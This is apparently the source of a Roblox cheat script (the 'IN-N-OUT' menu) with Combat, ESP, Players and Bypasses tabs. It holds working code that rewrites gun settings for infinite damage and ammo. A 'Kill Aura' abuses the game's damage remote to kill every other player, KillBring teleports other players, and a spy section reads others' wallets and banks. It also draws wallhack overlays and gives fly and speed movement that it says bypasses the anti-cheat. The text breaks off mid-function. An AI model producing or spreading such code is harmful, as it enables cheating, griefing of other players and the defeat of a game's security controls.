CombatTab:CreateToggle({
    Name = "No Fire Rate",
    Callback = function()
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            require(tool.Setting).FireRate = 0
            print("No Fire Rate applied")
        end
    end
})

CombatTab:CreateToggle({
    Name = "Infinite Damage",
    Callback = function()
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            require(tool.Setting).BaseDamage = 9e9
            print("Infinite Damage applied")
        end
    end
})

local function GetGunSettings()
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool = char and char:FindFirstChildOfClass("Tool")

		if not tool or not tool:FindFirstChild("Setting") then
			Notifier.new({
				Title = "IN-N-OUT",
				Content = "Equip a gun first",
				Duration = 2,
				Icon = "rbxassetid://102986210668448",
			})
			return nil
		end

		return require(tool.Setting), tool
	end
            
	CombatTab:CreateButton({
		Name = "Infinite Ammo",
		Callback = function()
			local settings, tool = GetGunSettings()
			if not settings then return end
			settings.LimitedAmmoEnabled = false
			settings.MaxAmmo = 100000
			settings.AmmoPerMag = 100000
			settings.Ammo = 100000
			settings.StoredAmmo = 100000
			settings.MagCount = 100000
			local gunScript = tool:FindFirstChild("GunScript_Local")
			if gunScript then
				local success1 = pcall(function()
					debug.setupvalue(getsenv(gunScript).Reload, 3, 100000)
				end)
				
				local success2 = pcall(function()
					debug.setupvalue(getsenv(gunScript).Reload, 5, 100000)
				end)
				
				if success1 and success2 then
					Notifier.new({
						Title = "IN-N-OUT",
						Content = "Infinite Ammo & Mags (100000) Enabled",
						Duration = 2,
						Icon = "rbxassetid://102986210668448",
					})
				else
					Notifier.new({
						Title = "IN-N-OUT",
						Content = "Infinite Ammo (100000) Enabled",
						Duration = 2,
						Icon = "rbxassetid://102986210668448",
					})
				end
			else
				Notifier.new({
					Title = "IN-N-OUT",
					Content = "Infinite Ammo (100000) Enabled",
					Duration = 2,
					Icon = "rbxassetid://102986210668448",
				})
			end
		end
	})

CombatTab:CreateSection("Kill Arua")

function dmg(target, hpart, damage)
    game:GetService("ReplicatedStorage").InflictTarget:FireServer(
        game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Tool"),
        game.Players.LocalPlayer,
        target.Character.Humanoid,
        target.Character[hpart],
        damage,
        {0, 0, false, false,
            game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Tool").GunScript_Server.IgniteScript,
            game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Tool").GunScript_Server.IcifyScript,
            100, 100},
        {false, 5, 3},
        target.Character[hpart],
        {false, {1930359546}, 1, 1.5, 1},
        nil,
        nil,
        true
    )
end

function checkgun()
    local player = game.Players.LocalPlayer
    local gunTool = nil

    for _, v in pairs(player.Backpack:GetDescendants()) do
        if v:IsA("LocalScript") and v.Name == "GunScript_Local" then
            gunTool = v.Parent
            break
        end
    end

    if not gunTool and player.Character then
        for _, v in pairs(player.Character:GetDescendants()) do
            if v:IsA("LocalScript") and v.Name == "GunScript_Local" then
                gunTool = v.Parent
                break
            end
        end
    end

    if gunTool and gunTool:IsA("Tool") then
        player.Character:WaitForChild("Humanoid"):EquipTool(gunTool)
    end

    return gunTool
end

local Button = CombatTab:CreateButton({
    Name = "Kill Aura (HOLD OUT GUN TO USE)",
    Locked = false,
    Callback = function()
        local gun = checkgun()
        if not gun then
            Rayfield:Notify({
                Title = "Killing All",
                Content = "Gun not found.",
                Duration = 5,
                Image = 4483345998,
            })
            return
        end

        local duration = 5
        local startTime = tick()

        while tick() - startTime < duration do
            local fireRemote = gun:FindFirstChild("Fire") or gun:FindFirstChild("Shoot") or gun:FindFirstChild("Remote")
            if fireRemote and fireRemote:IsA("RemoteEvent") then
                fireRemote:FireServer()
            elseif fireRemote and fireRemote:IsA("RemoteFunction") then
                fireRemote:InvokeServer()
            elseif gun.Activate then
                gun:Activate()
            end

            local handle = gun:FindFirstChild("Handle")
            local muzzleEffect = gun:FindFirstChild("GunScript_Local") and gun.GunScript_Local:FindFirstChild("MuzzleEffect")
            if handle and muzzleEffect and game.ReplicatedStorage:FindFirstChild("VisualizeMuzzle") then
                game.ReplicatedStorage.VisualizeMuzzle:FireServer(
                    handle,
                    true,
                    {false, 7, Color3.new(1, 1.1098, 0), 15, true, 0.02},
                    muzzleEffect
                )
            end

            for _, v in pairs(game.Players:GetPlayers()) do
                if v ~= game.Players.LocalPlayer then
                    local char = v.Character
                    if char and char:FindFirstChild("Head") and char:FindFirstChild("Humanoid") then
                        dmg(v, "Head", 1000)
                    end
                end
            end
            wait(0.1)
        end

        Rayfield:Notify({
            Title = "Killing All",
            Content = "Kill command sent to all loaded players (except you) for 5 seconds.",
            Duration = 5,
            Image = 4483345998,
        })
    end
})

CombatTab:CreateSection("Gun Color Chams")

CombatTab:CreateToggle({
    Name = "Enable Gun Chams",
    CurrentValue = false,
    Callback = function(Value)
    end
})

local originalData = {}
local connection
local rainbowConnection
local RainbowEnabled = false

CombatTab:CreateToggle({
    Name = "Rainbow Gun Chams",
    Flag = "GunChams_Toggle",
    CurrentValue = false,

    Callback = function(state)

        local player = game.Players.LocalPlayer
        local character = player.Character or player.CharacterAdded:Wait()

        local function applyEffect(tool)
            if not tool then return end

            for _, part in ipairs(tool:GetDescendants()) do
                if part:IsA("BasePart") then

                    if not originalData[part] then
                        originalData[part] = {
                            Color = part.Color,
                            Material = part.Material
                        }
                    end

                    part.Material = Enum.Material.Neon
                end
            end
        end

        local function revertEffect()
            for part, data in pairs(originalData) do
                if part and part.Parent then
                    part.Color = data.Color
                    part.Material = data.Material
                end
            end
            originalData = {}
        end

        if state then
            local tool = character:FindFirstChildOfClass("Tool")
            if tool then
                applyEffect(tool)
            end

            if connection then
                connection:Disconnect()
            end

            connection = character.ChildAdded:Connect(function(child)
                if child:IsA("Tool") then
                    applyEffect(child)
                end
            end)

            -- Rainbow effect
            RainbowEnabled = true

            if rainbowConnection then
                rainbowConnection:Disconnect()
            end

            rainbowConnection = game:GetService("RunService").RenderStepped:Connect(function()
                if not RainbowEnabled then return end

                local hue = (tick() % 5) / 5
                local color = Color3.fromHSV(hue, 1, 1)

                for part, _ in pairs(originalData) do
                    if part and part.Parent then
                        part.Color = color
                    end
                end
            end)

        else
            RainbowEnabled = false

            if connection then
                connection:Disconnect()
                connection = nil
            end

            if rainbowConnection then
                rainbowConnection:Disconnect()
                rainbowConnection = nil
            end

            revertEffect()
        end
    end
})


local EspTab = Window:CreateTab("ESP", "eye") 

EspTab:CreateSection("Names")

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer


local ESPEnabled = false
local ESPColor = Color3.new(1, 1, 1) -- default white
local ESPObjects = {}

-- ESP creation function
local function createESP(player)
    if player == LocalPlayer then return end
    if not player.Character or not player.Character:FindFirstChild("Head") then return end
    if player.Character:FindFirstChild("ESP") then return end

    local billboard = Instance.new("BillboardGui")
    billboard.Name = "ESP"
    billboard.Adornee = player.Character.Head
    billboard.Size = UDim2.new(0, 50, 0, 10)
    billboard.StudsOffset = Vector3.new(0, 1.5, 0)
    billboard.AlwaysOnTop = true
    billboard.Parent = player.Character

    local textLabel = Instance.new("TextLabel")
    textLabel.Size = UDim2.new(1, 0, 1, 0)
    textLabel.BackgroundTransparency = 1
    textLabel.TextColor3 = ESPColor
    textLabel.TextStrokeTransparency = 0
    textLabel.Font = Enum.Font.SourceSans
    textLabel.TextScaled = true
    textLabel.TextWrapped = true
    textLabel.Parent = billboard

    ESPObjects[player] = {
        Billboard = billboard,
        Label = textLabel
    }

    RunService.RenderStepped:Connect(function()
        if ESPEnabled and player.Character and player.Character:FindFirstChild("Humanoid") and player.Character:FindFirstChild("HumanoidRootPart") then
            local hp = math.floor(player.Character.Humanoid.Health)
            local studs = 0
            if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
                studs = math.floor((player.Character.HumanoidRootPart.Position - LocalPlayer.Character.HumanoidRootPart.Position).Magnitude)
            end
            textLabel.Text = string.format("%s | %d HP | %d", player.Name, hp, studs)
            textLabel.TextColor3 = ESPColor
            billboard.Enabled = true
        elseif billboard then
            billboard.Enabled = false
        end
    end)
end

-- Create ESP for current players
for _, player in pairs(Players:GetPlayers()) do
    player.CharacterAdded:Connect(function()
        wait(1)
        createESP(player)
    end)
    createESP(player)
end

-- Handle new players
Players.PlayerAdded:Connect(function(player)
    player.CharacterAdded:Connect(function()
        wait(1)
        createESP(player)
    end)
end)

EspTab:CreateToggle({
    Name = "Enable Names",
    CurrentValue = false,
    Callback = function(value)
        ESPEnabled = value
    end
})

-- Color Picker
EspTab:CreateColorPicker({
    Name = "Name ColorPicker",
    Color = ESPColor,
    Callback = function(color)
        ESPColor = color
        -- Update all existing labels
        for _, obj in pairs(ESPObjects) do
            if obj.Label then
                obj.Label.TextColor3 = ESPColor
            end
        end
    end
})

EspTab:CreateSection("Chams")

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")

local chamsEnabled = false
local highlights = {}

-- Converts HSV to Color3 (Roblox uses 0-1 scale for HSV)
local function HSVToColor3(h, s, v)
    local c = v * s
    local x = c * (1 - math.abs((h * 6) % 2 - 1))
    local m = v - c

    local r, g, b

    if h < 1/6 then
        r, g, b = c, x, 0
    elseif h < 2/6 then
        r, g, b = x, c, 0
    elseif h < 3/6 then
        r, g, b = 0, c, x
    elseif h < 4/6 then
        r, g, b = 0, x, c
    elseif h < 5/6 then
        r, g, b = x, 0, c
    else
        r, g, b = c, 0, x
    end

    return Color3.new(r + m, g + m, b + m)
end

local hue = 0

-- Add highlight to character
local function addChams(character)
    if highlights[character] then return end

    local highlight = Instance.new("Highlight")
    highlight.Name = "RainbowChamsHighlight"
    highlight.Adornee = character
    highlight.FillTransparency = 0.5
    highlight.OutlineTransparency = 1
    highlight.Parent = character

    highlights[character] = highlight
end

local function removeChams(character)
    local highlight = highlights[character]
    if highlight then
        highlight:Destroy()
        highlights[character] = nil
    end
end

local function toggleChams(enabled)
    chamsEnabled = enabled
    if enabled then
        for _, player in pairs(Players:GetPlayers()) do
            if player.Character then
                addChams(player.Character)
            end
            player.CharacterAdded:Connect(function(character)
                if chamsEnabled then
                    addChams(character)
                    character:WaitForChild("Humanoid").Died:Connect(function()
                        removeChams(character)
                    end)
                end
            end)
        end
    else
        for character, _ in pairs(highlights) do
            removeChams(character)
        end
    end
end

-- Update rainbow color every frame
RunService.Heartbeat:Connect(function(deltaTime)
    if chamsEnabled then
        hue = (hue + deltaTime * 0.25) % 1 -- speed of rainbow cycling (0.25 can be adjusted)
        local color = HSVToColor3(hue, 1, 1)
        for _, highlight in pairs(highlights) do
            if highlight and highlight.Parent then
                highlight.FillColor = color
            end
        end
    end
end)

-- Example UI toggle for enabling/disabling chams (replace with your UI library)
-- Example assuming you have an 'EspTab' UI tab object:
EspTab:CreateToggle({
    Name = "Enable Rainbow Chams",
    CurrentValue = false,
    Flag = "RainbowChamsToggle",
    Callback = function(value)
        toggleChams(value)
    end
})

-- Initialize for players who are already loaded
for _, player in pairs(Players:GetPlayers()) do
    player.CharacterAdded:Connect(function(character)
        if chamsEnabled then
            addChams(character)
            character:WaitForChild("Humanoid").Died:Connect(function()
                removeChams(character)
            end)
        end
    end)
    if player.Character and chamsEnabled then
        addChams(player.Character)
    end
end

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer

local espEnabled = false
local highlights = {}

local function applyHighlight(character)
    if not character or not character.Parent then return end
    if highlights[character] then return end

    local highlight = Instance.new("Highlight")
    highlight.Adornee = character
    highlight.FillColor = Color3.new(1,1,1) -- white
    highlight.FillTransparency = 0.6 -- semi-transparent
    highlight.OutlineTransparency = 1 -- no outline
    highlight.Parent = character

    highlights[character] = highlight
end

local function removeHighlight(character)
    if highlights[character] then
        highlights[character]:Destroy()
        highlights[character] = nil
    end
end

local function onCharacterAdded(character)
    if espEnabled then
        applyHighlight(character)
    end
    character.AncestryChanged:Connect(function(_, parent)
        if not parent then
            removeHighlight(character)
        end
    end)
end

local function updateESP()
    if espEnabled then
        for _, player in pairs(Players:GetPlayers()) do
            if player ~= LocalPlayer and player.Character then
                applyHighlight(player.Character)
            end
        end
    else
        for character, _ in pairs(highlights) do
            removeHighlight(character)
        end
    end
end

-- Listen to new players and their characters
Players.PlayerAdded:Connect(function(player)
    player.CharacterAdded:Connect(onCharacterAdded)
end)

-- For players already in game
for _, player in pairs(Players:GetPlayers()) do
    if player.Character then
        onCharacterAdded(player.Character)
    end
end

EspTab:CreateToggle({
    Name = "Enable Normal Chams",
    CurrentValue = false,
    Flag = "WhiteChamsToggle",
    Callback = function(value)
        espEnabled = value
        updateESP()
    end
})


EspTab:CreateSection("Skeleton")

local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local camera = workspace.CurrentCamera

local linesPerPlayer = {}
local espEnabled = false

local partsToConnect = {
    {"Head", "UpperTorso"},
    {"UpperTorso", "LowerTorso"},
    {"UpperTorso", "LeftUpperArm"},
    {"LeftUpperArm", "LeftLowerArm"},
    {"LeftLowerArm", "LeftHand"},
    {"UpperTorso", "RightUpperArm"},
    {"RightUpperArm", "RightLowerArm"},
    {"RightLowerArm", "RightHand"},
    {"LowerTorso", "LeftUpperLeg"},
    {"LeftUpperLeg", "LeftLowerLeg"},
    {"LeftLowerLeg", "LeftFoot"},
    {"LowerTorso", "RightUpperLeg"},
    {"RightUpperLeg", "RightLowerLeg"},
    {"RightLowerLeg", "RightFoot"},
}

local function createLine()
    local line = Drawing.new("Line")
    line.Visible = false
    line.Thickness = 2
    line.Color = Color3.new(1, 1, 1) -- White
    return line
end

local function getPartPosition(character, partName)
    local part = character:FindFirstChild(partName)
    if part then
        return part.Position
    end
    return nil
end

local function clearLines()
    for player, lines in pairs(linesPerPlayer) do
        for _, line in ipairs(lines) do
            line.Visible = false
            line:Remove()
        end
    end
    linesPerPlayer = {}
end

RunService.RenderStepped:Connect(function()
    if not espEnabled then
        clearLines()
        return
    end

    local players = Players:GetPlayers()
    for _, player in ipairs(players) do
        if player ~= LocalPlayer and player.Character and player.Character.Parent then
            if not linesPerPlayer[player] then
                local lines = {}
                for _ = 1, #partsToConnect do
                    table.insert(lines, createLine())
                end
                linesPerPlayer[player] = lines
            end

            local lines = linesPerPlayer[player]
            local character = player.Character

            for i, pair in ipairs(partsToConnect) do
                local pos1 = getPartPosition(character, pair[1])
                local pos2 = getPartPosition(character, pair[2])

                if pos1 and pos2 then
                    local screenPos1, visible1 = camera:WorldToViewportPoint(pos1)
                    local screenPos2, visible2 = camera:WorldToViewportPoint(pos2)

                    if visible1 and visible2 then
                        lines[i].From = Vector2.new(screenPos1.X, screenPos1.Y)
                        lines[i].To = Vector2.new(screenPos2.X, screenPos2.Y)
                        lines[i].Visible = true
                    else
                        lines[i].Visible = false
                    end
                else
                    lines[i].Visible = false
                end
            end
        end
    end

    for player, lines in pairs(linesPerPlayer) do
        if not player.Character or not player.Character.Parent then
            for _, line in ipairs(lines) do
                line.Visible = false
                line:Remove()
            end
            linesPerPlayer[player] = nil
        end
    end
end)



EspTab:CreateToggle({
    Name = "Enable Skeleton",
    CurrentValue = false,
    Flag = "SkeletonESP",
    Callback = function(value)
        espEnabled = value
        if not value then
            clearLines()
        end
    end
})

EspTab:CreateSection("Tracer")

local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local camera = workspace.CurrentCamera

local tracerLines = {}
local espEnabled = false
local lineStartPosition = "Bottom" -- default

local function createLine()
    local line = Drawing.new("Line")
    line.Visible = false
    line.Thickness = 2
    line.Color = Color3.new(1, 1, 1) -- white
    return line
end

local function getLineStart(screenSize)
    if lineStartPosition == "Top" then
        return Vector2.new(screenSize.X / 2, 0)
    elseif lineStartPosition == "Middle" then
        return Vector2.new(screenSize.X / 2, screenSize.Y / 2)
    else -- Bottom
        return Vector2.new(screenSize.X / 2, screenSize.Y)
    end
end

RunService.RenderStepped:Connect(function()
    if not espEnabled then
        for _, line in pairs(tracerLines) do
            line.Visible = false
        end
        return
    end

    local screenSize = camera.ViewportSize
    local startPos = getLineStart(screenSize)

    local players = Players:GetPlayers()
    for _, player in ipairs(players) do
        if player ~= LocalPlayer and player.Character and player.Character:FindFirstChild("Head") then
            local head = player.Character.Head
            local screenPos, onScreen = camera:WorldToViewportPoint(head.Position)
            if onScreen then
                if not tracerLines[player] then
                    tracerLines[player] = createLine()
                end
                local line = tracerLines[player]
                line.From = startPos
                line.To = Vector2.new(screenPos.X, screenPos.Y)
                line.Visible = true
            elseif tracerLines[player] then
                tracerLines[player].Visible = false
            end
        elseif tracerLines[player] then
            tracerLines[player].Visible = false
        end
    end
end)

EspTab:CreateToggle({
    Name = "Enable Tracer",
    CurrentValue = false,
    Flag = "EnableTracerESP",
    Callback = function(value)
        espEnabled = value
        if not value then
            for _, line in pairs(tracerLines) do
                line.Visible = false
            end
        end
    end
})

EspTab:CreateDropdown({
    Name = "Line Start Position",
    Options = {"Top", "Middle", "Bottom"},
    CurrentOption = "Bottom",
    Flag = "LineStartPosition",
    Callback = function(option)
        lineStartPosition = option
    end
})

EspTab:CreateSection("Boxes")




local PlayersTab = Window:CreateTab("Players", "wand")
local PlayersSection = PlayersTab:CreateSection("Players")

local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local Camera = workspace.CurrentCamera

local playerList = {}
local SelectedPlayer = nil
local SpectateRunning = false

for _, player in ipairs(Players:GetPlayers()) do
    if player ~= LocalPlayer then
        table.insert(playerList, player.Name)
    end
end

local TeleportDropdown = PlayersTab:CreateDropdown({
    Name = "Select Player",
    Options = playerList,
    CurrentOption = {},
    MultipleOptions = false,
    Flag = "PlayerDropdown",
    Callback = function(Options)
        SelectedPlayer = Options[1]
    end,
})

local function RefreshPlayerList()
    playerList = {}
    for _, player in ipairs(Players:GetPlayers()) do
        if player ~= LocalPlayer then
            table.insert(playerList, player.Name)
        end
    end
    TeleportDropdown:Set(playerList)
end

PlayersTab:CreateButton({
    Name = "Refresh Players",
    Callback = RefreshPlayerList,
})

PlayersTab:CreateSection("Spectate")

PlayersTab:CreateToggle({
    Name = "Spectate Selected Player",
    CurrentValue = false,
    Flag = "SpectateToggle",
    Callback = function(Value)
        SpectateRunning = Value
        if Value and SelectedPlayer then
            local TargetPlayer = Players:FindFirstChild(SelectedPlayer)
            if TargetPlayer and TargetPlayer.Character then
                local targetRoot = TargetPlayer.Character:FindFirstChild("HumanoidRootPart")
                if targetRoot then
                    Camera.CameraSubject = targetRoot
                end
            end
        elseif LocalPlayer.Character then
            local myHumanoid = LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
            if myHumanoid then
                Camera.CameraSubject = myHumanoid
            end
        end
    end,
})

getgenv().killbring = false

PlayersTab:CreateToggle({
    Name = 'KillBring',
    Default = false,
    Callback = function(toggle)
        getgenv().killbring = toggle

        if toggle then
            task.spawn(function()
                while getgenv().killbring do
                    local speaker = game.Players.LocalPlayer
                    local speakerChar = speaker.Character
                    local speakerRoot = speakerChar and speakerChar:FindFirstChild("HumanoidRootPart")

                    if not speakerRoot then
                        task.wait()
                        continue
                    end

                    local radius = 6
                    local players = game.Players:GetPlayers()
                    local step = (2 * math.pi) / #players
                    local i = 0

                    for _, target in ipairs(players) do
                        if target ~= speaker and target.Character then
                            local targetRoot = target.Character:FindFirstChild("HumanoidRootPart")
                            local humanoid = target.Character:FindFirstChildOfClass("Humanoid")

                            if targetRoot then
                                if humanoid then
                                    humanoid.Sit = false
                                end

                                local angle = i * step
                                local offset = Vector3.new(math.cos(angle) * radius, 1, math.sin(angle) * radius)
                                targetRoot.CFrame = speakerRoot.CFrame + offset

                                i += 1
                            end
                        end
                    end

                    task.wait(0.3)
                end
            end)
        end
    end
})

PlayersTab:CreateButton({
    Name = "View Inventory",
    Callback = function()
        if SelectedPlayer then
            local TargetPlayer = Players:FindFirstChild(SelectedPlayer)
            if TargetPlayer and TargetPlayer:FindFirstChild("Backpack") then
                local inventory = TargetPlayer.Backpack:GetChildren()
                if #inventory > 0 then
                    local itemNames = {}
                    for _, item in ipairs(inventory) do
                        table.insert(itemNames, item.Name)
                    end
                    Rayfield:Notify({
                        Title = "Inventory",
                        Content = SelectedPlayer .. "'s items: " .. table.concat(itemNames, ", "),
                        Duration = 6,
                    })
                else
                    Rayfield:Notify({
                        Title = "Inventory",
                        Content = SelectedPlayer .. " has no items in their backpack.",
                        Duration = 4,
                    })
                end
            else
                Rayfield:Notify({
                    Title = "Error",
                    Content = "Couldn't access backpack of " .. SelectedPlayer,
                    Duration = 4,
                })
            end
        else
            Rayfield:Notify({
                Title = "No Player Selected",
                Content = "Please select a player first.",
                Duration = 3,
            })
        end
    end,
})

PlayersTab:CreateSection("Spy")

PlayersTab:CreateButton({
    Name = "View Wallet Data",
    Callback = function()
        if SelectedPlayer then
            local TargetPlayer = Players:FindFirstChild(SelectedPlayer)
            if TargetPlayer and TargetPlayer:FindFirstChild("stored") and TargetPlayer.stored:FindFirstChild("Money") then
                local amount = TargetPlayer.stored.Money.Value
                Rayfield:Notify({
                    Title = "Wallet",
                    Content = SelectedPlayer .. " has $" .. tostring(amount),
                    Duration = 5,
                })
            else
                Rayfield:Notify({
                    Title = "Error",
                    Content = "Could not find money for " .. SelectedPlayer,
                    Duration = 4,
                })
            end
        else
            Rayfield:Notify({
                Title = "No Player Selected",
                Content = "Please select a player first.",
                Duration = 3,
            })
        end
    end,
})

PlayersTab:CreateButton({
    Name = "View Bank Data",
    Callback = function()
        if SelectedPlayer then
            local TargetPlayer = Players:FindFirstChild(SelectedPlayer)
            if TargetPlayer and TargetPlayer:FindFirstChild("stored") and TargetPlayer.stored:FindFirstChild("Bank") then
                local bank = TargetPlayer.stored.Bank.Value
                Rayfield:Notify({
                    Title = "Bank",
                    Content = SelectedPlayer .. " has $" .. tostring(bank) .. " in their bank.",
                    Duration = 5,
                })
            else
                Rayfield:Notify({
                    Title = "Error",
                    Content = "Could not find bank info for " .. SelectedPlayer,
                    Duration = 4,
                })
            end
        else
            Rayfield:Notify({
                Title = "No Player Selected",
                Content = "Please select a player first.",
                Duration = 3,
            })
        end
    end,
})

PlayersTab:CreateSection("Bypasses")

                local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local Workspace = game:GetService("Workspace")

local player = Players.LocalPlayer
local camera = Workspace.CurrentCamera

-- CONFIG DEFAULTS
Config = Config or {}
Config.FlyEnabled = Config.FlyEnabled or false
Config.FlySpeed = Config.FlySpeed or 5

local flyEnabled = false
local swimMethod = false
local speedConnection = nil
local CFloop = nil

local function handleSpeed()
    if not swimMethod then return end
    
    local character = player.Character
    if not character or not character.Parent then return end
    
    local humanoid = character:FindFirstChildOfClass("Humanoid")
    local hrp = character:FindFirstChild("HumanoidRootPart")
    if not humanoid or not hrp or humanoid.Health <= 0 then return end
    
    humanoid:ChangeState(0)

    if flyEnabled then
        hrp.RotVelocity = Vector3.new(0, 0, 0)
        return
    end
    
    local moveDir = humanoid.MoveDirection
    if moveDir.Magnitude > 0 then
        local worldMoveVec = Vector3.new(moveDir.X, 0, moveDir.Z).Unit * (50 * 16)
        if worldMoveVec.Magnitude == worldMoveVec.Magnitude then 
            hrp.Velocity = Vector3.new(worldMoveVec.X, hrp.Velocity.Y, worldMoveVec.Z)
        end
    else
        hrp.Velocity = Vector3.new(0, hrp.Velocity.Y, 0)
    end
    
    hrp.RotVelocity = Vector3.new(0, 0, 0)
end

local function onCharacterAdded(char)
    if speedConnection then
        speedConnection:Disconnect()
        speedConnection = nil
    end
    
    local success = pcall(function()
        char:WaitForChild("Humanoid", 5)
        char:WaitForChild("HumanoidRootPart", 5)
    end)
    
    if not success then return end
    
    speedConnection = RunService.Stepped:Connect(function()
        local success = pcall(handleSpeed)
        if not success and speedConnection then
            speedConnection:Disconnect()
            speedConnection = nil
        end
    end)
end

if player.Character then
    onCharacterAdded(player.Character)
end
player.CharacterAdded:Connect(onCharacterAdded)

local function StartFly()
    if flyEnabled then return end
    flyEnabled = true
    swimMethod = true

    task.wait(0.2)
    
    local character = player.Character or player.CharacterAdded:Wait()
    if not character then return end

    local humanoid = character:FindFirstChildOfClass("Humanoid")
    local head = character:FindFirstChild("Head")
    if not humanoid or not head then return end

    humanoid.PlatformStand = true
    head.Anchored = true

    if CFloop then 
        CFloop:Disconnect() 
    end

    CFloop = RunService.Heartbeat:Connect(function(deltaTime)
        if not flyEnabled or not character or not character.Parent then
            if CFloop then CFloop:Disconnect() end
            return
        end
        
        local moveDir = humanoid.MoveDirection
        local speed = (Config.FlySpeed or 5) * deltaTime * 100
        
        local camCF = camera.CFrame
        local _, yRot, _ = camCF:ToOrientation()
        local uprightRot = CFrame.Angles(0, yRot, 0)

        local flatCamCF = CFrame.new(camCF.Position) * uprightRot
        local localInput = flatCamCF:VectorToObjectSpace(moveDir * speed)
        local worldMovement = camCF:VectorToWorldSpace(localInput)

        head.CFrame = CFrame.new(head.Position + worldMovement) * uprightRot
        camera.CameraSubject = head
    end)
end

local function StopFly()
    if not flyEnabled then return end
    flyEnabled = false
    swimMethod = false

    if CFloop then
        CFloop:Disconnect()
        CFloop = nil
    end
    
    local character = player.Character
    if character then
        local humanoid = character:FindFirstChildOfClass("Humanoid")
        local head = character:FindFirstChild("Head")
        
        if humanoid then
            humanoid.PlatformStand = false
            humanoid:ChangeState(Enum.HumanoidStateType.Running)
        end
        
        if head then
            head.Anchored = false
        end
    end
end

-- TOGGLE
PlayersTab:CreateToggle({
    Name = "Enable Fly",
    CurrentValue = false,
    Flag = "FlyEnabled",
    Callback = function(state)
        Config.FlyEnabled = state

        if state then
            StartFly()
        else
            StopFly()
        end
    end
})

-- SLIDER
PlayersTab:CreateSlider({
    Name = "Fly Speed",
    Range = {1, 20},
    Increment = 1,
    Suffix = "",
    CurrentValue = 5,
    Flag = "FlySpeed",
    Callback = function(v)
        Config.FlySpeed = v
    end
})

PlayersTab:CreateSection("Bypasses 2")

local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer


local speed = 16
local boostMultiplier = 2
local enhancedWalk = false

local character, humanoid, humanoidRootPart
local bodyGyro
local movementConnection
local freezeConnection
local animationTrack


local animation = Instance.new("Animation")
animation.AnimationId = "rbxassetid://78828590676720" 


getgenv().SwimMethod = false
task.spawn(function()
	while task.wait() do
		if enhancedWalk then
			if not getgenv().SwimMethod then
				getgenv().SwimMethod = true
			end
			if humanoid then
				humanoid:ChangeState(Enum.HumanoidStateType.FallingDown)
			end
		end
	end
end)


local function updateCharacterRefs()
	character = player.Character or player.CharacterAdded:Wait()
	humanoidRootPart = character:WaitForChild("HumanoidRootPart")
	humanoid = character:WaitForChild("Humanoid")
end

local function cleanup()
	if movementConnection then movementConnection:Disconnect() movementConnection = nil end
	if freezeConnection then freezeConnection:Disconnect() freezeConnection = nil end
	if bodyGyro then bodyGyro:Destroy() bodyGyro = nil end
	if animationTrack then animationTrack:Stop() animationTrack = nil end
end

local function setupMovement()
	bodyGyro = Instance.new("BodyGyro")
	bodyGyro.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
	bodyGyro.P = 50000
	bodyGyro.D = 1000
	bodyGyro.CFrame = humanoidRootPart.CFrame
	bodyGyro.Parent = humanoidRootPart

	movementConnection = RunService.RenderStepped:Connect(function()
		if not enhancedWalk then return end

		local camera = workspace.CurrentCamera
		local dir = Vector3.zero
		local usingKeys = false

		if UserInputService:IsKeyDown(Enum.KeyCode.W) then
			dir += Vector3.new(camera.CFrame.LookVector.X, 0, camera.CFrame.LookVector.Z)
			usingKeys = true
		end
		if UserInputService:IsKeyDown(Enum.KeyCode.S) then
			dir -= Vector3.new(camera.CFrame.LookVector.X, 0, camera.CFrame.LookVector.Z)
			usingKeys = true
		end
		if UserInputService:IsKeyDown(Enum.KeyCode.A) then
			dir -= camera.CFrame.RightVector
			usingKeys = true
		end
		if UserInputService:IsKeyDown(Enum.KeyCode.D) then
			dir += camera.CFrame.RightVector
			usingKeys = true
		end

		if not usingKeys then
			local md = humanoid.MoveDirection
			dir = Vector3.new(md.X, 0, md.Z)
		end

		local moveSpeed = speed
		if UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) then
			moveSpeed = moveSpeed * boostMultiplier
		end

		if dir.Magnitude > 0 then
			dir = dir.Unit * moveSpeed
		end

		local currentY = humanoidRootPart.AssemblyLinearVelocity.Y
		local groundedY = math.clamp(currentY, -100, -2)
		humanoidRootPart.AssemblyLinearVelocity = Vector3.new(dir.X, groundedY, dir.Z)

		if dir.Magnitude > 0 then
			local look = dir.Unit
			bodyGyro.CFrame = CFrame.new(humanoidRootPart.Position, humanoidRootPart.Position + Vector3.new(look.X, 0, look.Z))
		end

		humanoidRootPart.RotVelocity = Vector3.zero
		humanoidRootPart.AssemblyAngularVelocity = Vector3.zero

		if dir.Magnitude > 0 then
			if not animationTrack.IsPlaying then animationTrack:Play() end
		else
			if animationTrack.IsPlaying then animationTrack:Stop() end
		end
	end)
end

local function startEnhancedWalk()
	enhancedWalk = true
	updateCharacterRefs()
	cleanup()
	humanoidRootPart.AssemblyLinearVelocity = Vector3.zero
	getgenv().SwimMethod = true


	Rayfield:Notify({
		Title = "1 Second",
		Content = "Anti cheat Being bypassed",
		Duration = 3,
	})


	freezeConnection = RunService.RenderStepped:Connect(function()
		if enhancedWalk then
			if not getgenv().SwimMethod then
				getgenv().SwimMethod = true
			end
			humanoidRootPart.AssemblyLinearVelocity = Vector3.zero
		end
	end)


	local animator = humanoid:FindFirstChildWhichIsA("Animator") or Instance.new("Animator", humanoid)
	animationTrack = animator:LoadAnimation(animation)
